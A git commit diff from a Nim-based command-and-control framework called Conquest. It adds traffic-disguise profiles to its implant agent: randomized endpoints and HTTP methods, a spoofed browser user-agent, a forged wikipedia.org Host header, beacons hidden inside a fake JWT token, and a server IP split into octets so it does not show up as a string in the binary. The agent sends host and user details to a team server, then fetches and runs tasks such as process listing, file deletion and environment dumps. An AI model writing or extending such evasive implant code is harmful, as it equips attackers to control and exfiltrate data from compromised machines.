Added profile system to agent communication. Randomized URL endpoints/request methods and dynamic data transformation based on C2 profile. Profile is defined as compile-time string for now.

This commit is contained in:
Jakob Friedl
2025-08-15 15:42:57 +02:00
parent 5a73c0f2f4
commit c7980d219d
19 changed files with 273 additions and 184 deletions

View File

@@ -1,5 +1,4 @@
# Conquest default configuration file # Conquest default configuration file
# https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_profile-language.htm#_Toc65482837
name = "cq-default-profile" name = "cq-default-profile"
@@ -11,7 +10,7 @@ database_file = "/mnt/c/Users/jakob/Documents/Projects/conquest/data/conquest.db
# General agent settings # General agent settings
[agent] [agent]
sleep = 5 sleep = 5
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
# ---------------------------------------------------------- # ----------------------------------------------------------
# HTTP GET # HTTP GET
@@ -46,9 +45,13 @@ suffix = ".KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30"
# Defines arbitrary URI parameters that are added to the request # Defines arbitrary URI parameters that are added to the request
[http-get.agent.parameters] [http-get.agent.parameters]
id = "bd5a-c65176a7ac5c"
lang = "en-US"
# Defines arbitrary headers that are added by the agent when performing a HTTP GET request # Defines arbitrary headers that are added by the agent when performing a HTTP GET request
[http-get.agent.headers] [http-get.agent.headers]
Host = "wikipedia.org"
Connection = "Keep-Alive"
Cache-Control = "no-cache" Cache-Control = "no-cache"
# Defines arbitrary headers that are added to the server's response # Defines arbitrary headers that are added to the server's response
@@ -66,14 +69,21 @@ placement = { type = "body" }
# ---------------------------------------------------------- # ----------------------------------------------------------
# HTTP POST # HTTP POST
# ---------------------------------------------------------- # ----------------------------------------------------------
# Defines URI endpoints for HTTP POST requests
[http-post] [http-post]
# Defines URI endpoints for HTTP POST requests
endpoints = [ endpoints = [
"/post", "/post",
"/api/v2/get.js" "/api/v2/get.js"
] ]
# Post request can also be sent with the HTTP verb PUT instead
request-methods = [
"POST",
"PUT"
]
[http-post.agent.headers] [http-post.agent.headers]
Host = "wikipedia.org"
Content-Type = "application/octet-stream" Content-Type = "application/octet-stream"
Connection = "Keep-Alive" Connection = "Keep-Alive"
Cache-Control = "no-cache" Cache-Control = "no-cache"

View File

@@ -0,0 +1,59 @@
import parsetoml, base64, system
import ../../common/[types, utils, crypto]
const ListenerUuid {.strdefine.}: string = ""
const Octet1 {.intdefine.}: int = 0
const Octet2 {.intdefine.}: int = 0
const Octet3 {.intdefine.}: int = 0
const Octet4 {.intdefine.}: int = 0
const ListenerPort {.intdefine.}: int = 5555
const SleepDelay {.intdefine.}: int = 10
const ServerPublicKey {.strdefine.}: string = ""
const ProfileString {.strdefine.}: string = ""
proc init*(T: type AgentCtx): AgentCtx =
try:
# The agent configuration is read at compile time using define/-d statements in nim.cfg
# This configuration file can be dynamically generated from the teamserver management interface
# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
when not ( defined(ListenerUuid) or
defined(Octet1) or
defined(Octet2) or
defined(Octet3) or
defined(Octet4) or
defined(ListenerPort) or
defined(SleepDelay) or
defined(ServerPublicKey) or
defined(ProfilePath)):
raise newException(CatchableError, "Missing agent configuration.")
# Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary
let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4
# Create agent configuration
var agentKeyPair = generateKeyPair()
let serverPublicKey = decode(ServerPublicKey).toKey()
let ctx = AgentCtx(
agentId: generateUUID(),
listenerId: ListenerUuid,
ip: address,
port: ListenerPort,
sleep: SleepDelay,
sessionKey: deriveSessionKey(agentKeyPair, serverPublicKey), # Perform key exchange to derive AES256 session key for encrypted communication
agentPublicKey: agentKeyPair.publicKey,
profile: parseString(decode(ProfileString))
)
# Cleanup agent's secret key
wipeKey(agentKeyPair.privateKey)
return ctx
except CatchableError as err:
echo "[-] " & err.msg
return nil

View File

@@ -1,25 +1,55 @@
import httpclient, json, strformat, strutils, asyncdispatch, base64 import httpclient, json, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random
import ../../common/[types, utils] import ../../common/[types, utils, profile]
import sugar
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent"))
var heartbeatString: string
proc httpGet*(config: AgentConfig, checkinData: seq[byte]): string = # Apply data transformation to the heartbeat bytes
case ctx.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none")
of "base64":
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool("http-get.agent.heartbeat.encoding.url-safe")).replace("=", "")
of "none":
heartbeatString = Bytes.toString(heartbeat)
let prefix = ctx.profile.getString("http-get.agent.heartbeat.prefix")
let suffix = ctx.profile.getString("http-get.agent.heartbeat.suffix")
let client = newAsyncHttpClient(userAgent = USER_AGENT) let payload = prefix & heartbeatString & suffix
var responseBody = ""
# Define HTTP headers # Add heartbeat packet to the request
# The heartbeat data is placed within a JWT token as the payload (Base64URL-encoded) case ctx.profile.getString("http-get.agent.heartbeat.placement.type"):
let payload = encode(checkinData, safe = true).replace("=", "") of "header":
client.headers = newHttpHeaders({ client.headers.add(ctx.profile.getString("http-get.agent.heartbeat.placement.name"), payload)
"Authorization": fmt"Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.{payload}.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30" of "parameter":
}) discard
of "uri":
discard
of "body":
discard
else:
discard
# Define request headers, as defined in profile
for header, value in ctx.profile.getTable("http-get.agent.headers"):
client.headers.add(header, value.getStr())
# Define additional request parameters
var params = ""
for param, value in ctx.profile.getTable("http-get.agent.parameters"):
params &= fmt"&{param}={value.getStr}"
params[0] = '?'
# Select a random endpoint to make the request to
var endpoint = ctx.profile.getArray("http-get.endpoints").getRandom().getStr()
if endpoint[0] == '/':
endpoint = endpoint[1..^1]
try: try:
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization # Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/get") return waitFor client.getContent(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint}{params}")
return responseBody
except CatchableError as err: except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time # When the listener is not reachable, don't kill the application, but check in at the next time
@@ -30,21 +60,26 @@ proc httpGet*(config: AgentConfig, checkinData: seq[byte]): string =
return "" return ""
proc httpPost*(config: AgentConfig, data: seq[byte]): bool {.discardable.} = proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
let client = newAsyncHttpClient(userAgent = USER_AGENT) let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent"))
# Define headers # Define request headers, as defined in profile
client.headers = newHttpHeaders({ for header, value in ctx.profile.getTable("http-post.agent.headers"):
"Content-Type": "application/octet-stream", client.headers.add(header, value.getStr())
"Content-Length": $data.len
})
# Select a random endpoint to make the request to
var endpoint = ctx.profile.getArray("http-post.endpoints").getRandom().getStr()
if endpoint[0] == '/':
endpoint = endpoint[1..^1]
let requestMethod = parseEnum[HttpMethod](ctx.profile.getArray("http-post.request-methods").getRandom().getStr("POST"))
let body = Bytes.toString(data) let body = Bytes.toString(data)
try: try:
# Send post request to team server # Send post request to team server
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/post", body) discard waitFor client.request(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint}", requestMethod, body)
except CatchableError as err: except CatchableError as err:
echo "[-] " & err.msg echo "[-] " & err.msg

View File

@@ -1,70 +1,28 @@
import strformat, os, times, system, base64 import strformat, os, times, system, base64
import core/[task, taskresult, heartbeat, http, register] import core/[http, context]
import protocol/[task, result, heartbeat, registration]
import ../modules/manager import ../modules/manager
import ../common/[types, utils, crypto] import ../common/[types, utils, crypto]
const ListenerUuid {.strdefine.}: string = ""
const Octet1 {.intdefine.}: int = 0
const Octet2 {.intdefine.}: int = 0
const Octet3 {.intdefine.}: int = 0
const Octet4 {.intdefine.}: int = 0
const ListenerPort {.intdefine.}: int = 5555
const SleepDelay {.intdefine.}: int = 10
const ServerPublicKey {.strdefine.}: string = ""
proc main() = proc main() =
#[
The process is the following:
1. Agent reads configuration file, which contains data relevant to the listener, such as IP, PORT, UUID and sleep settings
2. Agent collects information relevant for the registration (using Windows API)
3. Agent registers to the teamserver
4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate
]#
# The agent configuration is read at compile time using define/-d statements in nim.cfg # Initialize agent context
# This configuration file can be dynamically generated from the teamserver management interface var ctx = AgentCtx.init()
# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary if ctx == nil:
when not defined(ListenerUuid) or not defined(Octet1) or not defined(Octet2) or not defined(Octet3) or not defined(Octet4) or not defined(ListenerPort) or not defined(SleepDelay) or not defined(ServerPublicKey):
echo "Missing agent configuration."
quit(0) quit(0)
# Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary
let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4
# Create agent configuration
var config: AgentConfig
try:
var agentKeyPair = generateKeyPair()
let serverPublicKey = decode(ServerPublicKey).toKey()
config = AgentConfig(
agentId: generateUUID(),
listenerId: ListenerUuid,
ip: address,
port: ListenerPort,
sleep: SleepDelay,
sessionKey: deriveSessionKey(agentKeyPair, serverPublicKey), # Perform key exchange to derive AES256 session key for encrypted communication
agentPublicKey: agentKeyPair.publicKey
)
# Cleanup agent's secret key
wipeKey(agentKeyPair.privateKey)
except CatchableError as err:
echo "[-] " & err.msg
# Load agent commands # Load agent commands
loadModules() loadModules()
# Create registration payload # Create registration payload
var registration: AgentRegistrationData = config.collectAgentMetadata() var registration: AgentRegistrationData = ctx.collectAgentMetadata()
let registrationBytes = config.serializeRegistrationData(registration) let registrationBytes = ctx.serializeRegistrationData(registration)
if not config.httpPost(registrationBytes): if not ctx.httpPost(registrationBytes):
echo "[-] Agent registration failed." echo "[-] Agent registration failed."
quit(0) quit(0)
echo fmt"[+] [{config.agentId}] Agent registered." echo fmt"[+] [{ctx.agentId}] Agent registered."
#[ #[
Agent routine: Agent routine:
@@ -77,7 +35,7 @@ proc main() =
while true: while true:
# TODO: Replace with actual sleep obfuscation that encrypts agent memory # TODO: Replace with actual sleep obfuscation that encrypts agent memory
sleep(config.sleep * 1000) sleep(ctx.sleep * 1000)
let date: string = now().format("dd-MM-yyyy HH:mm:ss") let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo fmt"[{date}] Checking in." echo fmt"[{date}] Checking in."
@@ -85,16 +43,16 @@ proc main() =
try: try:
# Retrieve task queue for the current agent by sending a check-in/heartbeat request # Retrieve task queue for the current agent by sending a check-in/heartbeat request
# The check-in request contains the agentId, listenerId, so the server knows which tasks to return # The check-in request contains the agentId, listenerId, so the server knows which tasks to return
var heartbeat: Heartbeat = config.createHeartbeat() var heartbeat: Heartbeat = ctx.createHeartbeat()
let let
heartbeatBytes: seq[byte] = config.serializeHeartbeat(heartbeat) heartbeatBytes: seq[byte] = ctx.serializeHeartbeat(heartbeat)
packet: string = config.httpGet(heartbeatBytes) packet: string = ctx.httpGet(heartbeatBytes)
if packet.len <= 0: if packet.len <= 0:
echo "[*] No tasks to execute." echo "[*] No tasks to execute."
continue continue
let tasks: seq[Task] = config.deserializePacket(packet) let tasks: seq[Task] = ctx.deserializePacket(packet)
if tasks.len <= 0: if tasks.len <= 0:
echo "[*] No tasks to execute." echo "[*] No tasks to execute."
@@ -102,14 +60,13 @@ proc main() =
# Execute all retrieved tasks and return their output to the server # Execute all retrieved tasks and return their output to the server
for task in tasks: for task in tasks:
var result: TaskResult = config.handleTask(task) var result: TaskResult = ctx.handleTask(task)
let resultBytes: seq[byte] = config.serializeTaskResult(result) let resultBytes: seq[byte] = ctx.serializeTaskResult(result)
config.httpPost(resultBytes) ctx.httpPost(resultBytes)
except CatchableError as err: except CatchableError as err:
echo "[-] ", err.msg echo "[-] ", err.msg
when isMainModule: when isMainModule:
main() main()

View File

@@ -1,9 +1,10 @@
# Agent configuration # Agent configuration
-d:ListenerUuid="03FBA764" -d:ListenerUuid="D07778EF"
-d:Octet1="172" -d:Octet1="172"
-d:Octet2="29" -d:Octet2="29"
-d:Octet3="177" -d:Octet3="177"
-d:Octet4="43" -d:Octet4="43"
-d:ListenerPort=7777 -d:ListenerPort=8080
-d:SleepDelay=5 -d:SleepDelay=10
-d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U=" -d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U="
-d:ProfileString="bmFtZSA9ICJjcS1kZWZhdWx0LXByb2ZpbGUiCmNvbnF1ZXN0X2RpcmVjdG9yeSA9ICIvbW50L2MvVXNlcnMvamFrb2IvRG9jdW1lbnRzL1Byb2plY3RzL2NvbnF1ZXN0Igpwcml2YXRlX2tleV9maWxlID0gIi9tbnQvYy9Vc2Vycy9qYWtvYi9Eb2N1bWVudHMvUHJvamVjdHMvY29ucXVlc3QvZGF0YS9rZXlzL2NvbnF1ZXN0LXNlcnZlcl94MjU1MTlfcHJpdmF0ZS5rZXkiCmRhdGFiYXNlX2ZpbGUgPSAiL21udC9jL1VzZXJzL2pha29iL0RvY3VtZW50cy9Qcm9qZWN0cy9jb25xdWVzdC9kYXRhL2NvbnF1ZXN0LmRiIgpbYWdlbnRdCnNsZWVwID0gNQp1c2VyLWFnZW50ID0gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzguMC4wLjAgU2FmYXJpLzUzNy4zNiIKCltodHRwLWdldF0KZW5kcG9pbnRzID0gWyIvZ2V0IiwgIi9hcGkvdjEuMi9zdGF0dXMuanMiXQpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0XQpwcmVmaXggPSAiQmVhcmVyIGV5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS4iCnN1ZmZpeCA9ICIuS01VRnNJRFRuRm15RzNuTWlHTTZIOUZORlVST2Yzd2g3U21xSnAtUVYzMCIKW2h0dHAtZ2V0LmFnZW50LmhlYXJ0YmVhdC5wbGFjZW1lbnRdCnR5cGUgPSAiaGVhZGVyIgpuYW1lID0gIkF1dGhvcml6YXRpb24iCgpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0LmVuY29kaW5nXQp0eXBlID0gImJhc2U2NCIKdXJsLXNhZmUgPSB0cnVlCgoKW2h0dHAtZ2V0LmFnZW50LnBhcmFtZXRlcnNdCmlkID0gImJkNWEtYzY1MTc2YTdhYzVjIgpsYW5nID0gImVuLVVTIgoKW2h0dHAtZ2V0LmFnZW50LmhlYWRlcnNdCkhvc3QgPSAid2lraXBlZGlhLm9yZyIKQ29ubmVjdGlvbiA9ICJLZWVwLUFsaXZlIgpDYWNoZS1Db250cm9sID0gIm5vLWNhY2hlIgoKW2h0dHAtZ2V0LnNlcnZlci5oZWFkZXJzXQpTZXJ2ZXIgPSAibmdpbngiCkNvbnRlbnQtVHlwZSA9ICJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iCkNvbm5lY3Rpb24gPSAiS2VlcC1BbGl2ZSIKCltodHRwLWdldC5zZXJ2ZXIub3V0cHV0LnBsYWNlbWVudF0KdHlwZSA9ICJib2R5IgoKCltodHRwLXBvc3RdCmVuZHBvaW50cyA9IFsiL3Bvc3QiLCAiL2FwaS92Mi9nZXQuanMiXQpyZXF1ZXN0LW1ldGhvZHMgPSBbIlBPU1QiLCAiUFVUIl0KW2h0dHAtcG9zdC5hZ2VudC5oZWFkZXJzXQpDb250ZW50LVR5cGUgPSAiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIgpDb25uZWN0aW9uID0gIktlZXAtQWxpdmUiCkNhY2hlLUNvbnRyb2wgPSAibm8tY2FjaGUiCgpbaHR0cC1wb3N0LmFnZW50Lm91dHB1dC5wbGFjZW1lbnRdCnR5cGUgPSAiYm9keSIKCltodHRwLXBvc3Quc2VydmVyLmhlYWRlcnNdClNlcnZlciA9ICJuZ2lueCIKCltodHRwLXBvc3Quc2VydmVyLm91dHB1dC5wbGFjZW1lbnRdCnR5cGUgPSAiYm9keSIKCgo="

View File

@@ -2,7 +2,7 @@ import times
import ../../common/[types, serialize, sequence, utils, crypto] import ../../common/[types, serialize, sequence, utils, crypto]
proc createHeartbeat*(config: AgentConfig): Heartbeat = proc createHeartbeat*(ctx: AgentCtx): Heartbeat =
return Heartbeat( return Heartbeat(
header: Header( header: Header(
magic: MAGIC, magic: MAGIC,
@@ -10,16 +10,16 @@ proc createHeartbeat*(config: AgentConfig): Heartbeat =
packetType: cast[uint8](MSG_HEARTBEAT), packetType: cast[uint8](MSG_HEARTBEAT),
flags: cast[uint16](FLAG_ENCRYPTED), flags: cast[uint16](FLAG_ENCRYPTED),
size: 0'u32, size: 0'u32,
agentId: uuidToUint32(config.agentId), agentId: uuidToUint32(ctx.agentId),
seqNr: 0'u32, seqNr: 0'u32,
iv: generateIV(), iv: generateIV(),
gmac: default(AuthenticationTag) gmac: default(AuthenticationTag)
), ),
listenerId: uuidToUint32(config.listenerId), listenerId: uuidToUint32(ctx.listenerId),
timestamp: uint32(now().toTime().toUnix()) timestamp: uint32(now().toTime().toUnix())
) )
proc serializeHeartbeat*(config: AgentConfig, request: var Heartbeat): seq[byte] = proc serializeHeartbeat*(ctx: AgentCtx, request: var Heartbeat): seq[byte] =
var packer = Packer.init() var packer = Packer.init()
@@ -32,7 +32,7 @@ proc serializeHeartbeat*(config: AgentConfig, request: var Heartbeat): seq[byte]
packer.reset() packer.reset()
# Encrypt check-in / heartbeat request body # Encrypt check-in / heartbeat request body
let (encData, gmac) = encrypt(config.sessionKey, request.header.iv, body, request.header.seqNr) let (encData, gmac) = encrypt(ctx.sessionKey, request.header.iv, body, request.header.seqNr)
# Set authentication tag (GMAC) # Set authentication tag (GMAC)
request.header.gmac = gmac request.header.gmac = gmac

View File

@@ -192,7 +192,7 @@ proc getOSVersion(): string =
else: else:
return "Unknown" return "Unknown"
proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData = proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =
return AgentRegistrationData( return AgentRegistrationData(
header: Header( header: Header(
@@ -201,14 +201,14 @@ proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData =
packetType: cast[uint8](MSG_REGISTER), packetType: cast[uint8](MSG_REGISTER),
flags: cast[uint16](FLAG_ENCRYPTED), flags: cast[uint16](FLAG_ENCRYPTED),
size: 0'u32, size: 0'u32,
agentId: uuidToUint32(config.agentId), agentId: uuidToUint32(ctx.agentId),
seqNr: nextSequence(uuidToUint32(config.agentId)), seqNr: nextSequence(uuidToUint32(ctx.agentId)),
iv: generateIV(), iv: generateIV(),
gmac: default(AuthenticationTag) gmac: default(AuthenticationTag)
), ),
agentPublicKey: config.agentPublicKey, agentPublicKey: ctx.agentPublicKey,
metadata: AgentMetadata( metadata: AgentMetadata(
listenerId: uuidToUint32(config.listenerId), listenerId: uuidToUint32(ctx.listenerId),
username: string.toBytes(getUsername()), username: string.toBytes(getUsername()),
hostname: string.toBytes(getHostname()), hostname: string.toBytes(getHostname()),
domain: string.toBytes(getDomain()), domain: string.toBytes(getDomain()),
@@ -217,11 +217,11 @@ proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData =
process: string.toBytes(getProcessExe()), process: string.toBytes(getProcessExe()),
pid: cast[uint32](getProcessId()), pid: cast[uint32](getProcessId()),
isElevated: cast[uint8](isElevated()), isElevated: cast[uint8](isElevated()),
sleep: cast[uint32](config.sleep) sleep: cast[uint32](ctx.sleep)
) )
) )
proc serializeRegistrationData*(config: AgentConfig, data: var AgentRegistrationData): seq[byte] = proc serializeRegistrationData*(ctx: AgentCtx, data: var AgentRegistrationData): seq[byte] =
var packer = Packer.init() var packer = Packer.init()
@@ -242,7 +242,7 @@ proc serializeRegistrationData*(config: AgentConfig, data: var AgentRegistration
packer.reset() packer.reset()
# Encrypt metadata # Encrypt metadata
let (encData, gmac) = encrypt(config.sessionKey, data.header.iv, metadata, data.header.seqNr) let (encData, gmac) = encrypt(ctx.sessionKey, data.header.iv, metadata, data.header.seqNr)
# Set authentication tag (GMAC) # Set authentication tag (GMAC)
data.header.gmac = gmac data.header.gmac = gmac

View File

@@ -24,7 +24,7 @@ proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, r
data: resultData, data: resultData,
) )
proc serializeTaskResult*(config: AgentConfig, taskResult: var TaskResult): seq[byte] = proc serializeTaskResult*(ctx: AgentCtx, taskResult: var TaskResult): seq[byte] =
var packer = Packer.init() var packer = Packer.init()
@@ -45,7 +45,7 @@ proc serializeTaskResult*(config: AgentConfig, taskResult: var TaskResult): seq[
packer.reset() packer.reset()
# Encrypt result body # Encrypt result body
let (encData, gmac) = encrypt(config.sessionKey, taskResult.header.iv, body, taskResult.header.seqNr) let (encData, gmac) = encrypt(ctx.sessionKey, taskResult.header.iv, body, taskResult.header.seqNr)
# Set authentication tag (GMAC) # Set authentication tag (GMAC)
taskResult.header.gmac = gmac taskResult.header.gmac = gmac

View File

@@ -1,15 +1,16 @@
import strutils, tables, json, strformat, sugar import strutils, tables, json, strformat, sugar
import ./result
import ../../modules/manager import ../../modules/manager
import ../../common/[types, serialize, sequence, crypto, utils] import ../../common/[types, serialize, sequence, crypto, utils]
proc handleTask*(config: AgentConfig, task: Task): TaskResult = proc handleTask*(ctx: AgentCtx, task: Task): TaskResult =
try: try:
return getCommandByType(cast[CommandType](task.command)).execute(config, task) return getCommandByType(cast[CommandType](task.command)).execute(ctx, task)
except CatchableError as err: except CatchableError as err:
echo "[-] Invalid command. " & err.msg return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task = proc deserializeTask*(ctx: AgentCtx, bytes: seq[byte]): Task =
var unpacker = Unpacker.init(Bytes.toString(bytes)) var unpacker = Unpacker.init(Bytes.toString(bytes))
@@ -20,7 +21,7 @@ proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task =
# Decrypt payload # Decrypt payload
let payload = unpacker.getBytes(int(header.size)) let payload = unpacker.getBytes(int(header.size))
let decData= validateDecryption(config.sessionKey, header.iv, payload, header.seqNr, header) let decData= validateDecryption(ctx.sessionKey, header.iv, payload, header.seqNr, header)
# Deserialize decrypted data # Deserialize decrypted data
unpacker = Unpacker.init(Bytes.toString(decData)) unpacker = Unpacker.init(Bytes.toString(decData))
@@ -50,7 +51,7 @@ proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task =
args: args args: args
) )
proc deserializePacket*(config: AgentConfig, packet: string): seq[Task] = proc deserializePacket*(ctx: AgentCtx, packet: string): seq[Task] =
result = newSeq[Task]() result = newSeq[Task]()
@@ -68,6 +69,6 @@ proc deserializePacket*(config: AgentConfig, packet: string): seq[Task] =
taskLength = unpacker.getUint32() taskLength = unpacker.getUint32()
taskBytes = unpacker.getBytes(int(taskLength)) taskBytes = unpacker.getBytes(int(taskLength))
result.add(config.deserializeTask(taskBytes)) result.add(ctx.deserializeTask(taskBytes))
dec taskCount dec taskCount

View File

@@ -1,4 +1,4 @@
import parsetoml, strutils import parsetoml, strutils, random
import ./[types, utils] import ./[types, utils]
proc findKey(profile: Profile, path: string): TomlValueRef = proc findKey(profile: Profile, path: string): TomlValueRef =
@@ -41,3 +41,14 @@ proc getTable*(profile: Profile, path: string): TomlTableRef =
if key == nil: if key == nil:
return new TomlTableRef return new TomlTableRef
return key.getTable() return key.getTable()
proc getArray*(profile: Profile, path: string): seq[TomlValueRef] =
let key = profile.findKey(path)
if key == nil:
return @[]
return key.getElems()
proc getRandom*(values: seq[TomlValueRef]): TomlValueRef =
if values.len == 0:
return nil
return values[rand(values.len - 1)]

View File

@@ -176,7 +176,7 @@ type
# Agent config # Agent config
type type
AgentConfig* = ref object AgentCtx* = ref object
agentId*: string agentId*: string
listenerId*: string listenerId*: string
ip*: string ip*: string
@@ -184,6 +184,7 @@ type
sleep*: int sleep*: int
sessionKey*: Key sessionKey*: Key
agentPublicKey*: Key agentPublicKey*: Key
profile*: Profile
# Structure for command module definitions # Structure for command module definitions
type type
@@ -200,4 +201,4 @@ type
example*: string example*: string
arguments*: seq[Argument] arguments*: seq[Argument]
dispatchMessage*: string dispatchMessage*: string
execute*: proc(config: AgentConfig, task: Task): TaskResult {.nimcall.} execute*: proc(config: AgentCtx, task: Task): TaskResult {.nimcall.}

View File

@@ -1,9 +1,9 @@
import ../common/[types, utils] import ../common/[types, utils]
# Declare function prototypes # Declare function prototypes
proc executePs(config: AgentConfig, task: Task): TaskResult proc executePs(ctx: AgentCtx, task: Task): TaskResult
proc executeEnv(config: AgentConfig, task: Task): TaskResult proc executeEnv(ctx: AgentCtx, task: Task): TaskResult
proc executeWhoami(config: AgentConfig, task: Task): TaskResult proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult
# Command definitions # Command definitions
let commands*: seq[Command] = @[ let commands*: seq[Command] = @[
@@ -35,15 +35,15 @@ let commands*: seq[Command] = @[
# Implement execution functions # Implement execution functions
when defined(server): when defined(server):
proc executePs(config: AgentConfig, task: Task): TaskResult = nil proc executePs(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeEnv(config: AgentConfig, task: Task): TaskResult = nil proc executeEnv(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeWhoami(config: AgentConfig, task: Task): TaskResult = nil proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult = nil
when defined(agent): when defined(agent):
import winim import winim
import os, strutils, sequtils, strformat, tables, algorithm import os, strutils, sequtils, strformat, tables, algorithm
import ../agent/core/taskresult import ../agent/protocol/result
# TODO: Add user context to process information # TODO: Add user context to process information
type type
@@ -53,7 +53,7 @@ when defined(agent):
name: string name: string
children: seq[DWORD] children: seq[DWORD]
proc executePs(config: AgentConfig, task: Task): TaskResult = proc executePs(ctx: AgentCtx, task: Task): TaskResult =
echo fmt" [>] Listing running processes." echo fmt" [>] Listing running processes."
@@ -127,7 +127,7 @@ when defined(agent):
except CatchableError as err: except CatchableError as err:
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
proc executeEnv(config: AgentConfig, task: Task): TaskResult = proc executeEnv(ctx: AgentCtx, task: Task): TaskResult =
echo fmt" [>] Displaying environment variables." echo fmt" [>] Displaying environment variables."
@@ -141,7 +141,7 @@ when defined(agent):
except CatchableError as err: except CatchableError as err:
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
proc executeWhoami(config: AgentConfig, task: Task): TaskResult = proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult =
echo fmt" [>] Getting user information." echo fmt" [>] Getting user information."

View File

@@ -1,13 +1,13 @@
import ../common/[types, utils] import ../common/[types, utils]
# Define function prototypes # Define function prototypes
proc executePwd(config: AgentConfig, task: Task): TaskResult proc executePwd(ctx: AgentCtx, task: Task): TaskResult
proc executeCd(config: AgentConfig, task: Task): TaskResult proc executeCd(ctx: AgentCtx, task: Task): TaskResult
proc executeDir(config: AgentConfig, task: Task): TaskResult proc executeDir(ctx: AgentCtx, task: Task): TaskResult
proc executeRm(config: AgentConfig, task: Task): TaskResult proc executeRm(ctx: AgentCtx, task: Task): TaskResult
proc executeRmdir(config: AgentConfig, task: Task): TaskResult proc executeRmdir(ctx: AgentCtx, task: Task): TaskResult
proc executeMove(config: AgentConfig, task: Task): TaskResult proc executeMove(ctx: AgentCtx, task: Task): TaskResult
proc executeCopy(config: AgentConfig, task: Task): TaskResult proc executeCopy(ctx: AgentCtx, task: Task): TaskResult
# Command definitions # Command definitions
let commands* = @[ let commands* = @[
@@ -85,21 +85,21 @@ let commands* = @[
# Implementation of the execution functions # Implementation of the execution functions
when defined(server): when defined(server):
proc executePwd(config: AgentConfig, task: Task): TaskResult = nil proc executePwd(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeCd(config: AgentConfig, task: Task): TaskResult = nil proc executeCd(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeDir(config: AgentConfig, task: Task): TaskResult = nil proc executeDir(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeRm(config: AgentConfig, task: Task): TaskResult = nil proc executeRm(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeRmdir(config: AgentConfig, task: Task): TaskResult = nil proc executeRmdir(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeMove(config: AgentConfig, task: Task): TaskResult = nil proc executeMove(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeCopy(config: AgentConfig, task: Task): TaskResult = nil proc executeCopy(ctx: AgentCtx, task: Task): TaskResult = nil
when defined(agent): when defined(agent):
import os, strutils, strformat, times, algorithm, winim import os, strutils, strformat, times, algorithm, winim
import ../agent/core/taskresult import ../agent/protocol/result
# Retrieve current working directory # Retrieve current working directory
